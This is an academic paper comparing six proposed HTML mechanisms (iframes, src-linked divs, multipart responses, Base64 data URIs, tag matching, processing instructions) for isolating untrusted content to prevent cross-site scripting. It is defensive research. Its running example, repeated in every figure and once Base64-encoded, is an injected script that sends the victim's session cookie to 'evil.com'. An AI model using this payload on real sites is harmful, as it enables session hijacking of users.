Analysis of Hypertext Isolation Techniques for XSS Prevention

Mike Ter Louw Prithvi Bisht V.N. Venkatakrishnan

Department of Computer Science
University of Illinois at Chicago

Abstract

Modern websites and web applications commonly integrate third-party and user-generated content to enrich the user's experience. Developers of these applications are in need of a simple way to limit the capabilities of this less trusted, outsourced web content and thereby protect their users from cross-site scripting attacks. We summarize several recent proposals that enable developers to isolate untrusted hypertext, and could be used to define robust constraint environments that are enforceable by web browsers. A comparative analysis of these proposals is presented highlighting security, legacy browser compatibility and several other important qualities.

1 Introduction

One hallmark of the Web 2.0 phenomenon is the rapid increase in user-created content for web applications. A vexing problem for these web applications is determining if user-supplied HTML code contains executable script statements. *Cross-site scripting* (XSS) attacks can exploit this weakness to breach security in several ways: loss of user data confidentiality, compromised integrity of the web document and impaired availability of browser resources.

The suggested defense against XSS attacks is input filtering. While it is an effective first level of defense, input filtering is often difficult to get right in complex scenarios [4]. This is mostly due to the diversity of popular web browsers; each contain subtle parsing quirks that allow scripts to evade detection [4, 7]. When user input is allowed to contain all valid HTML characters it can be especially difficult to filter effectively. The programmer must primarily ensure that scripting commands can not be injected into the document while also permitting the user to input rich content.

The challenges involved in input filtering burden developers with what we term the *Hypertext Isolation* problem. Namely, programmers are in dire need of a *simple* facility that instructs a browser to mark certain, isolated portions of an HTML document as untrusted. If robust isolation facilities were supported by web browsers, policy-based constraints could be enforced over untrusted content to effectively prevent script injection attacks.

The draft version of HTML 5 [21] does not propose any hypertext isolation facility, even though XSS is a long recognized threat and several informal solutions have recently been suggested by concerned members of the web development community. The main objective of this paper is to categorize these proposals, analyze them further and motivate the web standards and research communities to focus on the issue.

2 Background

Today's browsers implement a *default-allow* policy for JavaScript in the sense they permit execution of any script code present in a document. These scripts are granted privileges to read or modify all other content within the document by default. Note that browsers can be switched to a *default-deny* mode by turning off JavaScript. However, this mode will prohibit popular websites such as Gmail and eBay from being rendered correctly.

In order for these web applications to function normally and also protect the user against malicious scripts, the applications must be able to instruct the browser to impose constraints on specific regions within a document [13]. A simple example of such a constraint is disabling script execution within the region.

A basic way of demarcating a constraint region is to enclose it within a `<div>` element. If the programmer wants to disable scripting in this part of the document he can attach constraints as policy attributes:[1]

```
<div policy="scripting:deny;">...</div>
```

The browser can apply this constraint to the region defined by the `<div>` element to prevent execution of any

[1]The policy syntax suggested is merely an illustration. Policy specification issues are not explored in this paper.

Figure 1: Example of a persistent XSS attack

Bob's maliciously crafted username

```
Bob<script type="text/javascript">
   window.location="http://evil.com?"+document.cookie();
</script>
```

Persistent XSS attack example

```
<html><head>...</head><body>
...
Users who are currently logged in:
Alice, Bob<script type="text/javascript">
   window.location="http://evil.com?"+document.cookie();
</script>, Charlie
...
</body></html>
```

A notional web application authenticates users by creating a session cookie in their browser that accompanies each request for a page (not depicted). The application also displays a list of logged in users on every page it generates. Bob crafts a malicious username that forwards a user's session cookie to `evil.com` when they view any page generated by the application.

injected scripts.

However, this naive approach can be easily circumvented; untrusted content may attempt to trick the browser into removing restrictions by indicating that the constraint region has ended. For instance, it may contain spurious HTML element *close tags* (e.g., `</div>`) or may fool the user agent into believing the constraint region's close tag was accidentally omitted by the web application. Once the untrusted hypertext is outside the scope of the constraint environment, a malicious script can be injected for a successful attack. This class of attack is a primary threat to any language feature proposing to facilitate temporary capability restrictions.

To solve this problem, the web browser must *isolate* a particular segment of hypertext. This requires a robust facility to identify the precise extent of any untrusted segment to be restricted. In this paper, proposed additions to the HTML document standard that address this need are explored.

Once a secure system is in place for isolating hypertext, policies that confine the privileges of scripts will need to be applied to constraint regions. Specification and enforcement of policy constraints are not examined in this paper. However, we do note that the matter of content isolation must be fully addressed before policy constraints can be effectively enforced.

Approach and methodology Systems that allow both *data* and *code* as input typically have well defined facilities for isolating untrusted data from trusted code. Database engines are a common example. They support a `PREPARE` [15] statement that enables web applications to communicate, in isolation, query components that are untrusted data. Web applications can effectively prevent untrusted data from influencing the structure (i.e., "code") of SQL queries, thus allowing robust protection against SQL injection attacks.

Unfortunately, there is no similar, cross-browser mechanism that can be utilized by web applications to isolate untrusted data. We looked through working drafts of the *World Wide Web Consortium's* (W3C) upcoming web technology specifications [20, 21, 22] and were not able to find a proposed solution.

There were several online discussions of the *Web Hypertext Application Technology Working Group* (WHATWG), which were very helpful in highlighting draft solutions (particularly [5]). We also consulted some polished proposals on the web [1, 13] that suggest the use of isolation techniques. Many of these isolation proposals are part of larger policy specification constructs for protection of web resources. This paper does not explore merits of the policy-based mechanisms they implement. Rather, we examine the hypertext isolation techniques each of them relies on for robustness.

There is a clear need for hypertext isolation; however, no considerable work has been done on comparing the various proposals to explore the best approach. We note that hypertext isolation is fundamental to the secure evolution of the interactive web. It is also a prerequisite to any voluntary constraint system proposal. Hence, there is a dire need for a systematic description and analysis of the problem.

In this spirit, we organize the best proposals to date into

Figure 2: A malicious user name is isolated using the *document separation* technique.

Embedding document

```
...
Users who are currently logged in:
<iframe style="display:inline;"
        src="https://untrusted.example.com/getContent?001>
</iframe>
...
```

Embedded document

```
<html><head></head><body>
   Alice, Bob<script type="text/javascript">
      window.location="http://evil.com?"+document.cookie();
   </script>, Charlie
</body></html>
```

six categories while integrating some of our own ideas. Merits and shortfalls of these techniques are explored in order to find an acceptable solution to the hypertext isolation problem.

The rest of the paper is organized as follows: In Section 3, six fundamental techniques for isolating untrusted hypertext are presented and analyzed. Each analysis is presented in conjunction with the main idea behind each proposal. These findings are summarized in Section 4 along with discussion of open issues.

3 Isolation techniques

This section is an exploration of six distinct proposals for isolating untrusted hypertext within a web page. Each of these techniques is designed to provide a containment primitive that can ultimately serve as a foundation for restricted capability regions within an HTML document.

A persistent XSS attack is shown in Figure 1 and will be cited as a running example. The attack code is integrated into the illustration of each proposed technique to demonstrate how untrusted content can be contained.

3.1 Document separation technique

The first four methods to be present for isolating content all make use of the HTML `src` attribute to separate trusted from untrusted hypertext. Likely the best known of these is the *document separation* technique, as it uses an existing feature of standard HTML, the `<iframe>`.

Embedded document isolation When a web page designer wants to embed a document she uses an `<iframe>` element. This element's `src` attribute tells the browser how to locate and retrieve a web page that will be contained within the outer document. Referring to the contents of the `iframe` in this way helps the browser preserve the outer document's structural integrity: it is not possible for the embedded content to issue an `</iframe>` close tag and escape its constraint environment.

Restricting untrusted content so that it may not access sensitive data from the trusted region is only possible if the `src` attribute refers to a document of a different origin. This is because of the *same-origin policy* (SOP), which disallows data flow between documents of different origins [18]. Achieving the level of isolation provided by the SOP for untrusted content allows it to be embedded without risk of XSS attacks. In Figure 2, the embedded content does not have access to any of the embedding document's properties due to document isolation.

Problems with document separation There are many disadvantages of the `iframe` isolation technique that make it inadequate for isolating content. The problems *unique* to document separation are:

1. Layout information does not *flow out* of the `iframe`.
2. Style information does not *flow into* the `iframe`.
3. Providing separate origins for hosting untrusted content is burdensome.

For embedded content to flow seamlessly into the layout of the surrounding document, the size of an `iframe` needs to dynamically adjust according to the space requirements of its contents. The HTML standard [19] does not allow a document within an `iframe` to do this. The typical way to get around this restriction is to use JavaScript in the embedding page and dynamically adjust the layout as needed. However, this can be done only when the same-origin policy is not in effect. (This information is guarded by the SOP because reading the inner document's properties such as size can result in leakage of private data about its contents.)

Effectively, an isolated `iframe` is a rigid structure that is either too large or too small for the document it contains. If undersized, it must resort to presenting a scrol-

Figure 3: A malicious user name is isolated using the *request separation* technique.

Embedding document

```
...
Users who are currently logged in:
<div style="display:inline;"
     src="https://untrusted.example.com/getContent?001">
   This content can not be safely displayed.
</div>
...
```

Linked, external file contents

```
Alice, Bob<script type="text/javascript">
   window.location="http://evil.com?"+document.cookie();
</script>, Charlie
```

lable interface so the user may view its entire contents. For many intended uses of user-generated content, this does not provide a good end-user experience.

Just as an `iframe` does not let information out, useful information is also not permitted to flow in. Many web sites employ *cascading style sheet* (CSS) rules to specify a uniform appearance to elements on a page. The CSS system causes elements to inherit a default look from their ancestors in the document hierarchy and enables them to subscribe to a style using CSS class identifiers. For instance, a blog application may declare that all user-provided comments be displayed using the Helvetica font. If these comments are isolated in `iframe` elements to thwart XSS attacks, the rule specifying their default font will not be applied. This breaks up the uniform appearance the designer wanted to create.

Workarounds to these data flow restrictions currently exist in other proposals. The SMash project [2] establishes a data exchange protocol using the `iframe` URL fragment identifier as a medium. The HTML 5 proposal [21] presents another mechanism that uses *document object model* (DOM) events for message passing.

A third difficulty in using `iframe`s for isolation is that it requires the content to be hosted at a different origin from the embedding document. One way a web application might implement this is to create a subdomain for serving the untrusted files. Though this is a workable solution for simple scenarios where user-generated content is not intended to host private information, in other cases it can be inadequate. To achieve full isolation of embedded content, each `iframe` created for this purpose would need a unique origin. This places a heavy burden on the web application server and domain name server.

In addition to the above problems, document separation requires untrusted content to be split out into a separate file. This introduces a host of additional problems that are further explored in the following section.

3.2 Request separation technique

Much of the inconvenience of working with `iframe`s can be avoided if we draw from the document separation technique only the isolation benefit and can do without the data flow restrictions. This is the aim of the *request separation* technique, which would require changes to the HTML specification to achieve.

Isolated files In this scheme untrusted content is expelled to a separate file just like the document separation technique. However, a `div` element is used instead of the `iframe` as depicted in Figure 3. The intent is that the browser renders embedded content as if it had appeared inside the `div` element.

Embedded content is read from the file pointed to by the `src` attribute. A compatible web browser provides hypertext isolation by ensuring the contents of the file are not allowed to close the `div` element. Existing browsers that do not support the proposed `src` attribute feature ignore the referenced file, preventing the untrusted content from being included. Thus XSS attack code in the user-generated region is suppressed in browsers that don't support the feature.

Crockford's mashup security proposal [1] employs this use of the `src` attribute to isolate content in a new HTML `<module>` element. This technique has also been used in the MashupOS project [6, 17] to isolate untrusted hypertext in the proposed `<friv>` and `<sandbox>` elements.

Fallback mechanism It may be helpful to provide some default content for the `div` element should the `src` attribute not be supported for a particular browser or should the referenced URL fail to load. For this purpose it is recommended that "fallback" HTML content be written by the web application between the open and close `div` tags, as described in [9]. If any content is written in this

Figure 4: A malicious user name is isolated using the *response partitioning* technique.

Header

```
Content-Type:  multipart/related;
   boundary="becc503b-2fb4-4793-80ef-917b6efcd83f";
   start="<trusted@example.com>"; type="text/html"

--becc503b-2fb4-4793-80ef-917b6efcd83f
```

Trusted root document

```
Content-ID: <trusted@example.com>
Content-Type:  text/html; charset="UTF-8"

<html><head>...</head><body>
...
Users who are currently logged in:
   <div style="display:inline;"
        src="cid:untrusted001@example.com"
   ></div>
...
</body></html>

--becc503b-2fb4-4793-80ef-917b6efcd83f
```

Untrusted part

```
Content-ID: <untrusted001@example.com>
Content-Type:  text/html; charset="UTF-8"

Alice, Bob<script type="text/javascript">
   window.location=
     "http://evil.com?"+document.cookie();
</script>, Charlie

--becc503b-2fb4-4793-80ef-917b6efcd83f--
```

region it should not contain untrusted hypertext lest the application be placed at risk. The fallback mechanism is demonstrated in example figures using the text:

```
This content can not be safely
displayed.
```

Problems with separate external files There are two inconveniences with using request separation that also apply to document separation as described in Section 3.1:

1. Providing piecewise access to user-generated content requires additional state on the web server.
2. Retrieving user-generated content requires multiple CPU-intensive HTTP requests of the web server.

When a user agent requests an individual segment of untrusted hypertext, the web application needs to be capable of returning the isolated segment in the context appropriate for inclusion in the previously requested embedding page. Sometimes, this may be as simple as reading the contents of a file that was stored at or before the time the embedding page was requested. However, there are more complex scenarios.

The request for untrusted content may need to be placed in context of a session (such as "Requesting all comments for blog post #50"). Alternatively, web applications may require modification to generate URLs that will potentially trigger database retrieval operations. These kinds of look-ups rule out the option of using simple file retrievals for most scenarios. The required changes to web applications are non-trivial and may require human intervention.

Additional requests also mean additional resource usage, such as CPU and network bandwidth, on the back end. Even if the web application has these resources in abundance, the number of content fetches still adds unwanted network latency to the client's page rendering process.

3.3 Response partitioning technique

Continuing the attempt to alleviate limitations on splitting user-generated content out of the page, the *response partitioning* technique is now examined. This mechanism produces a fully trusted base file similar to the one generated in Section 3.2, then appends the isolated, untrusted content *in-band* to the same HTTP response. Current web browsers do not support this mode of delivery.

Multipart content delivery Files generated by the web application in this scheme use the MIME Multipart/Related Content-Type [12] as shown in Figure 4. Though nearly identical in format to the MHTML document delivery technique [16] it does not require email

Figure 5: A malicious user name is isolated using the *element content encoding* technique.

Element with encoded content

```
Users who are currently logged in:
<div style="display:inline;"
     src="data:text/html;charset=utf-8;base64,
QWxpY2UsIEJvYjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij53aW5k
b3cubG9jYXRpb249Imh0dHA6Ly9ldmlsLmNvbT8iK2RvY3VtZW50LmNvb2tp
ZSgpOzwvc2NyaXB0PiwgQ2hhcmxpZQ%3D%3D
  "> This content can not be safely displayed.
</div>
```

Decoded hypertext

```
Alice, Bob<script type="text/javascript">
   window.location="http://evil.com?"+document.cookie();
</script>, Charlie
```

headers for rendering in a mail user agent.

Untrusted hypertext segments appear as isolated parts of a MIME message and are referred to by the trusted "root" document using content identifiers [11] (also depicted in Fig. 4). To eliminate the possibility of the inter-part boundary string occurring within the untrusted parts, the untrusted hypertext may be Base64 [8] encoded. Universally unique identifiers (UUID) are used in the example figure, as they have a high probability of uniqueness by design [10].

Problems using Mulipart MIME Although the response partitioning solution does not require multiple expensive file retrieval operations of the web application server, two unfortunate characteristics contribute to it being a less than ideal mechanism for isolation:

1. MHTML-like documents are not rendered by current web browsers.
2. Rendering of untrusted content is delayed.

Ideally any proposal for isolating untrusted content will not prevent the trusted portion of a web page from rendering in browsers that do not support the isolation technique. Response partitioning does not have this quality, which means that the trusted part in Figure 4 will not be rendered in current browsers. If graceful degradation in incompatible browsers is a requirement, this technique will not be sufficient.

Furthermore, to create the Multipart/Related format requires fully buffering the untrusted components of a web application's output stream until the end of document generation. This can cause significant rendering delays of these untrusted document regions.

3.4 Element content encoding technique

By encoding user-generated content inline with the document the two major drawbacks of response partitioning can be alleviated. Although web browsers would have to add support for this *element content encoding* technique, user agents that do not support the feature would still be able to fully render the trusted regions of a document.

Encoding untrusted content This isolation method is closely related to the request separation technique. The difference is that instead of linking to user-generated content in a separate file, the content of an HTML element is Base64 encoded using the "data" URI scheme [14], as shown in Figure 5. Element content encoding previously appeared as part of a proposal by the WHATWG [5], and has been implemented for the MashupOS project [17].

Legacy web browsers do not expect the encoded hypertext so they will not decode and render potentially unsafe content. Fallback content could be allowed in the same way described in Section 3.2.

When implementing this technique it is important that the web application stream the encoded hypertext to the user agent instead of buffering the entire untrusted region and sending the encoded text in a single burst. Similarly, the browser should decode the stream as it is received. This cooperation helps to reduce rendering delays of isolated content.

Nested isolation It is also key that encoded elements be nestable. That is, the technique must be implemented in a way that allows isolated regions to contain inner regions that are also isolated. This feature enables a constraint environment to further restrict its capabilities, perhaps when embedding content of its own.

Problems with element content encoding The limitations of this technique are:

1. Encoded hypertext is not human readable and writable.
2. Encoding the hypertext can inflate its size.

Figure 6: A malicious user name is isolated using the *tag matching* technique.

```
...
Users who are currently logged in:
<div tag="75669ef7-fb01-41d6-a661-4a5018e951d9">
   Alice, Bob<script type="text/javascript">
       window.location="http://evil.com?"+document.cookie();
   </script>, Charlie
</div tag="75669ef7-fb01-41d6-a661-4a5018e951d9">
...
```

Viewing and editing the encoded hypertext is not easily performed by a human using basic text tools. This can add difficulty to the implementation and maintenance phases of web application development. It also reduces transparency for users because the "view source" operation in web browsers would not display the decoded untrusted content without special handling.

Another argument against Base64 encoding is that it inflates the size of isolated content by about 40%. Nested isolation regions compound this penalty. Due to the larger size, a document containing significant amounts of untrusted content can incur delayed page load times. Web servers hosting such documents would have greater peak and total bandwidth requirements. These negative effects can be reduced by using a more space-efficient encoding. For many applications, inflated size is an acceptable tradeoff for secure degradation.

3.5 Tag matching technique

An altogether different technique for isolating hypertext is *tag matching*. This scheme, which requires modification of existing browsers to support, matches HTML open and close tags using an attribute present in each. It was informally proposed as an isolation mechanism for a new HTML `<jail>` element [3].

Robust tag pairing Matching open with close tags isolates untrusted content by preventing it from providing its own close tag to prematurely terminate the constraint environment. If a browser detects the early closing of an element by finding a missing or incorrect match attribute in the close tag, it should disregard all subsequent extraneous hypertext until the matching close tag is detected. A user agent must never assume the matching close tag was omitted and automatically terminate the isolated region. In a script execution environment, the match attribute should not be readable via the DOM.

A basic implementation of the technique selects a match attribute string that is difficult for an attacker to guess. An example, shown in Figure 6, uses an arbitrary UUID for this purpose. The match string must vary on every page request and for each tag using the feature. The security of this approach comes from an unguessable, unique matched tag for each request.

Tag matching has in common with the response partitioning technique the use of a unique string to delimit untrusted hypertext. A key difference is in the way they integrate the isolated regions: tag matching keeps them inline while response partitioning removes them from the trusted document entirely.

Problem with tag matching The main issue with using this technique is that it does not degrade safely in browsers that do not support it. Incompatible browsers will simply ignore the match attribute and render the untrusted content without any restrictions. This could lead to a successful XSS attack in browsers that don't support the feature.

3.6 Character range encoding technique

Another distinct option is to isolate user-generated hypertext on a per-character basis rather than the HTML-element basis used by all the previously discussed approaches. This *character range encoding* technique can make it easier to impose constraints on arbitrary sections of HTML content.

One type of content that can not be isolated by the techniques analyzed in previous sections is the HTML *element attribute*. For instance, a wiki application may allow users to create `<a>` elements (hyperlinks) by specifying a value for the `href` attribute. This value should not be trusted as it may be a `javascript:` link containing malicious code. The wiki application needs to isolate such content so that appropriate policies can be enforced.

A workaround exists to enable attribute value containment by element-based isolation techniques. The technique uses a script to pull isolated hypertext from the DOM and set the attribute's value to it [7]. However, implementing this workaround requires awareness of the syntactic context where the untrusted content is used.

Context-free confinement Web applications are at a disadvantage when they need to constrain regions depending on their context. Consider a web application that is retrofitted to safely isolate and constrain untrusted hypertext. The retrofitted web application must identify all parts of web pages that are emitted based on untrusted inputs,

Figure 7: A malicious user name is isolated using the *character range encoding* technique.

```
Users who are currently logged in:
   <?isolate src="data:text/html;charset=utf-8;base64,
QWxpY2UsIEJvYjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij53aW5k
b3cubG9jYXRpb249Imh0dHA6Ly9ldmlsLmNvbT8iK2RvY3VtZW50LmNvb2tp
ZSgpOzwvc2NyaXB0PiwgQ2hhcmxpZQ%3D%3D">
   <?ignore characters="41">
   This content can not be safely displayed.
```

Decoded hypertext is the same as shown in Figure 5.

and appropriately transform them into isolated regions.

With only context-sensitive confinement techniques available, the transformation logic must know the output stream's syntactic context at each untrusted location. This requirement makes *automated* retrofitting of web applications to isolate untrusted regions difficult.

Hickson first proposed [5] that browsers can be enhanced to support character range isolation by using an `<?insert>` HTML processing instruction (PI). We elaborate on his proposal by recommending two PIs: `<?isolate>` and `<?ignore>`. These are illustrated in Figure 7.

The motivation for these instructions is to provide context-free confinement primitives. For this goal to be realized, the HTML grammar needs to allow PIs to be used as parser directives in any context other than a PI declaration. This enhancement will greatly facilitate the use of these instructions by automated security tools.

The <?isolate> processing instruction The purpose of `<?isolate>` is to instruct the browser that the character data in its `src` parameter must be isolated. The characters are encoded to ensure that they do not prematurely terminate the containment. The isolated hypertext is not human readable and thus suffers drawbacks described in Section 3.4. However, this approach degrades securely in legacy browsers. This important quality entails legacy browsers simply ignore the PI and not display the encoded hypertext.

The <?ignore> processing instruction The purpose of the `<?ignore>` PI is to instruct compatible browsers to disregard the next few characters. The `characters` parameter specifies the number to ignore. This feature enables a web author to provide trusted fallback content so that the character range encoding mechanism can degrade gracefully. Legacy browsers disregard the instruction instead and render the subsequent characters.

A developer using `<?ignore>` must take care to ensure that character counts are calculated in a way consistent with the counting done by the user agent. The following items need to be considered:

1. Character encoding of the document
2. Uniform versus variable-length characters
3. Platform-specific line break sequences

The character counting and encoding tasks increase the complexity of web application development employing character range encoding more than any other isolation technique presented so far. Moving isolation logic into library code can help alleviate the problems inherent to increased code complexity. Although these problems can not be completely mitigated, character range encoding's strengths compare favorably against other methods.

Nesting capability Just as a nesting capability is important to the element content encoding technique given in Section 3.4, a browser implementing these features must be designed to allow nested `<?isolate>` and `<?ignore>` instructions within the decoded `src` attribute of `<?isolate>`.

Applications Isolation of individual HTML characters can seem ad hoc if the merit of applying policies to arbitrary character ranges is not readily apparent. However, restricting the capabilities of specific DOM nodes, such as HTML elements and their attributes, has obvious semantic meaning and the enforcement mechanism is easy to envision. For this reason we propose that character range encoding be applied to *guarantee* that a section of untrusted content is confined to a single DOM node rather than used *directly* as a constraint environment. Constraints can then be applied to the isolated DOM node.

Web applications can employ character range encoding to further benefit from mechanisms that perform fine-grained taint tracking [23] of low-integrity data. Taint-tracking mechanisms identify individual characters in a document that are derived from untrusted web application input. Character range encoding can be used to reliably convey this taint information to a browser.

Another interesting application of character range encoding is to isolate individual substrings of a script. Web applications may want to embed user-provided data within a script and it would be helpful to constrain this data. For example, a user's first name should be confined to a single STRING token, his age should be restricted to a single INTEGER, and so on. This could be leveraged to

	Document separation	Request separation	Response partitioning	Element content encoding	Tag matching	Character range encoding
Renders in legacy browsers	✓	✓		✓	✓	✓
Degrades safely	✓	✓	✓	✓		✓
Allows fallback content		✓		✓		✓
Seamless layout and style		✓	✓	✓	✓	✓
Human readable	✓	✓	✓		✓	
No extra rendering delay	✓	✓		✓	✓	✓
No extra HTTP request			✓	✓	✓	✓
Context independent						✓

Table 1: A comparison of hypertext isolation mechanisms

implement constraint regions inside script content.

4 Discussion

Comparison of features Though there is no shortage of mechanisms to isolate untrusted HTML, each technique has clear capabilities and limitations. Table 1 contrasts isolation techniques by their support for a variety of attributes:

- *Renders in legacy browsers:* At least the trusted part of the document will render in a browser that does not support the isolation mechanism.
- *Degrades safely:* At most the trusted part of the document will render in a browser that does not support the isolation mechanism.
- *Allows fallback content:* Trusted content can be provided in case the mechanism is not supported or fails.
- *Seamless layout and style:* Layout information flows out and style information flows into a contained region.
- *Human readable:* Isolated hypertext can be read by a human without the need to decode it first.
- *No extra rendering delay:* While rendering, a browser does not starve due to the web server buffering output.
- *No extra HTTP request:* Isolated regions do not require an extra page fetch operation.
- *Context independent:* Isolation technique can be used in any HTML parsing context.

Final Analysis It is clear that there is not an ideal choice to recommend for standardization. This is due in part to the inherent conflict between desirable attributes. For instance, it is difficult to design an inline mechanism that is human readable and degrades safely in all web browsers. In spite of this dilemma, we identify two techniques that would greatly enhance a web designer's ability to secure her applications with minimal caveats.

Element content encoding has the two highly important qualities of legacy browser support and safe degrading. Although it imposes challenges with regard to readability, these challenges can be met as tools evolve. For instance a web browser may enhance its "view source" feature with the ability to decode isolated hypertext. We contend that source readability for security is an acceptable trade.

Character range encoding is also compelling due to its usage flexibility. This technique makes specifying hypertext isolation by web applications an easier task as any structural node can be isolated. Also, it provides an isolation pattern that can be applied to other grammars embedded in HTML such as CSS and JavaScript.

Open issues Two related issues have not been fully explored and are deserving of further study:

1. *Attribute value isolation* There is a need for context-sensitive isolation techniques that can be applied to HTML element attribute values.
2. *Capability policies* A policy mechanism that leverages robust isolation techniques is needed to limit the capabilities of untrusted content within a document.

Character range encoding can effectively isolate untrusted content in HTML element attributes because it is context-free. However, we have not described how the other techniques proposed in Section 3 would be applied for the isolation of untrusted content that appears in attribute values (e.g., DOM event handlers). These other techniques could be adapted for this purpose though it is not clear that it can be done in a straightforward and syntactically clean way.

Once implemented, robust isolation mechanisms can facilitate fine-grained capability policies over user-generated content that are set by the developer and enforced by the web browser. This ability to constrain un-

trusted content can provide needed infrastructure for important usage models to be implemented securely. For example, a desire to accept limited hypertext and simple, safe scripts from users is long felt by web application developers.

Availability of flexible policy-based constraints, built on a foundation of strong isolation primitives, can encourage the developer community to embrace document security rather than shunning it to favor functionality.

Acknowledgements This work was partially supported by National Science Foundation grants CNS-0716584 and CNS-0551660. The views and conclusions contained herein are those of the authors and do not necessarily reflect the views of the National Science Foundation or the U.S. Government.

References

[1] Douglas Crockford. The ⟨module⟩ tag. http://www.json.org/module.html, October 2006.

[2] Frederik De Keukelaere, Sumeer Bhola, Michael Steiner, Suresh Chari, and Sachiko Yoshihama. SMash: Secure cross-domain mashups on unmodified browsers, June 2007. Technical Report.

[3] Brendan Eich. JavaScript: Mobility & ubiquity (two out of three ain't bad). In *Dagstuhl Seminar 07091 "Mobility, Ubiquity, and Security"*, Wadern, Saar., Germany, February 2007.

[4] Robert Hansen. XSS cheat sheet. http://ha.ckers.org/xss.html. Retrieved on May 4, 2008.

[5] Ian Hickson, Alexey Feldgendler, Gervase Markham, Michel Fortin, Jon Barnett, et al. Sandboxing ideas (WHATWG discussion). http://lists.whatwg.org/pipermail/whatwg-whatwg.org/2007-May/011198.html, May 2007.

[6] Jon Howell, Collin Jackson, Helen J. Wang, and Xiaofeng Fan. MashupOS: Operating system abstractions for client mashups. In *11th Workshop on Hot Topics in Operating Systems*, San Diego, CA, USA, May 2007.

[7] Trevor Jim, Nikhil Swamy, and Michael Hicks. Defeating script injection attacks with browser-enforced embedded policies. In *16th International World Wide Web Conference*, Banff, AB, Canada, May 2007.

[8] S. Josefsson. The Base16, Base32, and Base64 data encodings. http://tools.ietf.org/html/rfc3548, July 2003. RFC 3548.

[9] Jukka Korpela. Empty elements in SGML, HTML, XML, and XHTML. http://www.cs.tut.fi/~jkorpela/html/empty.html#incl, August 2000.

[10] P. Leach, M. Mealling, and R. Salz. A universally unique identifier (UUID) URN namespace. http://tools.ietf.org/html/rfc4122, July 2005. RFC 4122.

[11] E. Levinson. Content-ID and Message-ID uniform resource locators. http://tools.ietf.org/html/rfc2392, August 1998. RFC 2392.

[12] E. Levinson. The MIME Multipart/Related content-type. http://tools.ietf.org/html/rfc2387, August 1998. RFC 2387.

[13] Gervase Markham. Content restrictions. http://www.gerv.net/security/content-restrictions/, March 2007.

[14] L. Masinter. The "data" URL scheme. http://tools.ietf.org/html/rfc2397, August 1998. RFC 2397.

[15] MySQL. Prepared statements. http://dev.mysql.com/tech-resources/articles/4.1/prepared-statements.html. Retrieved on May 4, 2008.

[16] J. Palme, A. Hopmann, and N. Shelness. MIME encapsulation of aggregate documents, such as HTML (MHTML). http://tools.ietf.org/html/rfc2557, March 1999. RFC 2557.

[17] Helen J. Wang, Xiaofeng Fan, Jon Howell, and Collin Jackson. Protection and communication abstractions for web browsers in MashupOS. In *21st ACM Symposium on Operating Systems Principles*, Stevenson, WA, USA, October 2007.

[18] Wikipedia contributors. Same origin policy. http://en.wikipedia.org/w/index.php?title=Same_origin_policy&oldid=190222964, February 2008.

[19] World Wide Web Consortium. HTML 4.01 specification. http://www.w3.org/TR/html4/, December 1999.

[20] World Wide Web Consortium. Access control for cross-site requests (working draft). http://www.w3.org/TR/2008/WD-access-control-20080214/, February 2008.

[21] World Wide Web Consortium. HTML 5: A vocabulary and associated APIs for HTML and XHTML (working draft). http://www.w3.org/TR/2008/WD-html5-20080122/, January 2008.

[22] World Wide Web Consortium. XMLHttpRequest level 2 (working draft). http://www.w3.org/TR/2008/WD-XMLHttpRequest2-20080225/, February 2008.

[23] Wei Xu, Sandeep Bhatkar, and R. Sekar. Taint-enhanced policy enforcement: A practical approach to defeat a wide range of attacks. In *15th USENIX Security Symposium*, Vancouver, BC, Canada, August 2006.